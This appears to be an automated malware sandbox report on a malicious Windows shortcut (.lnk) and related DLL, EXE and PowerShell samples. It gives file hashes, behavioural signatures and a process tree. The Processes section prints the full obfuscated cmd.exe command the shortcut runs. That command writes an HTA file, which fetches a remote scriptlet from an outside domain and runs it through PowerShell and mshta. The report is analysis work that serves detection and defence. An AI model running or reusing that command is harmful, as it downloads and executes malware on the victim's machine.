Overview
overview
7Static
static
5599151.301...39.lnk
windows7-x64
5599151.301...39.lnk
windows10-2004-x64
7TUP3298063...ed.dll
windows7-x64
3TUP3298063...ed.dll
windows10-2004-x64
TUP3298063...on.dll
windows7-x64
1TUP3298063...on.dll
windows10-2004-x64
1TUP3298063...on.exe
windows7-x64
3TUP3298063...on.exe
windows10-2004-x64
3TUP3298063...n1.exe
windows7-x64
TUP3298063...n1.exe
windows10-2004-x64
TUP3298063...1_.ps1
windows7-x64
1TUP3298063...1_.ps1
windows10-2004-x64
1TUP3298063...32.dll
windows7-x64
1TUP3298063...32.dll
windows10-2004-x64
1TUP3298063...33.dll
windows7-x64
1TUP3298063...33.dll
windows10-2004-x64
1Analysis
-
max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
02-04-2024 14:22
Static task
static1
Behavioral task
behavioral1
Sample
599151.301.25077.7868139.lnk
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
599151.301.25077.7868139.lnk
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
TUP32980638916Y/ctfmon-dll-decoded.dll
Resource
win7-20240319-en
Behavioral task
behavioral4
Sample
TUP32980638916Y/ctfmon-dll-decoded.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
TUP32980638916Y/ctfmon.dll
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
TUP32980638916Y/ctfmon.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
TUP32980638916Y/ctfmon.exe
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
TUP32980638916Y/ctfmon.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
TUP32980638916Y/ctfmon1.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
TUP32980638916Y/ctfmon1.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
TUP32980638916Y/ctfmon1_.ps1
Resource
win7-20240221-en
Behavioral task
behavioral12
Sample
TUP32980638916Y/ctfmon1_.ps1
Resource
win10v2004-20240226-en
Behavioral task
behavioral13
Sample
TUP32980638916Y/log32.dll
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
TUP32980638916Y/log32.dll
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
TUP32980638916Y/log33.dll
Resource
win7-20240215-en
Behavioral task
behavioral16
Sample
TUP32980638916Y/log33.dll
Resource
win10v2004-20240226-en
General
-
Target
599151.301.25077.7868139.lnk
-
Size
561B
-
MD5
57050773638b46dfc5f60930cd1cb266
-
SHA1
3219f88ea28c525eb35050939d2ecb01d6fa7282
-
SHA256
7ae01fd7aa0b5898eb36548024f2cc8156216322ea6402eb8f04180adfc9539d
-
SHA512
181885faf9a655befaa6755fd003fd674e1ccf201c6718e9693754f4d5704230d62982430997b9dd85eee9f9139997cd67ea7c9c171f91f245eaa497e9796712
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-275798769-4264537674-1142822080-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 116 powershell.exe 116 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 116 powershell.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
cmd.execmd.exepowershell.exedescription pid process target process PID 812 wrote to memory of 1420 812 cmd.exe cmd.exe PID 812 wrote to memory of 1420 812 cmd.exe cmd.exe PID 1420 wrote to memory of 212 1420 cmd.exe cmd.exe PID 1420 wrote to memory of 212 1420 cmd.exe cmd.exe PID 1420 wrote to memory of 116 1420 cmd.exe powershell.exe PID 1420 wrote to memory of 116 1420 cmd.exe powershell.exe PID 116 wrote to memory of 2772 116 powershell.exe mshta.exe PID 116 wrote to memory of 2772 116 powershell.exe mshta.exe PID 116 wrote to memory of 2772 116 powershell.exe mshta.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\599151.301.25077.7868139.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /V/D/c "seT sKk=script&&seT px=powershell&&SEt NEGG=C:\Users\Public\Videos\^YqW&&SEt SMO=.H&&SEt XQGZ=^<!sKk!^>try{v6POar c='!sKk!:';d='h6POTtP:';G6POetObj6POect(c+d+'&&sET FIC=ZXEFMZXEFMwaa8.nolii.dateZXEFM?1ZXEFM');}catch(e){}close();^</!sKk!^>&&sEt/^p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%"<nul > %NEGG%%SMO%ta|!px! -Command "& '!NEGG!!SMO!ta' "2⤵
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" sEt/p YE8N="%XQGZ:6PO=%%FIC:ZXEFM=/%" 0<nul 1>%NEGG%%SMO%ta"3⤵PID:212
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& 'C:\Users\Public\Videos\YqW.Hta'3⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:116 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Public\Videos\YqW.Hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}4⤵PID:2772
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
105B
MD58242e1808eac09b7264a697fc98c2f37
SHA134a5dca8f5eeb3edb9a73f0e544be74049506325
SHA256c43738a850d1ae9d59f39d592cdc3faca6a327735dbaaa9c979b5036dba72937
SHA51209906f3479661b52fe980e54cca55bbe67aa5a01c912d414d77fe11e6eb7ed6a3c4c5ae5abb991734e657219a8a7164d655a2106913330cea9a7014746f29d6d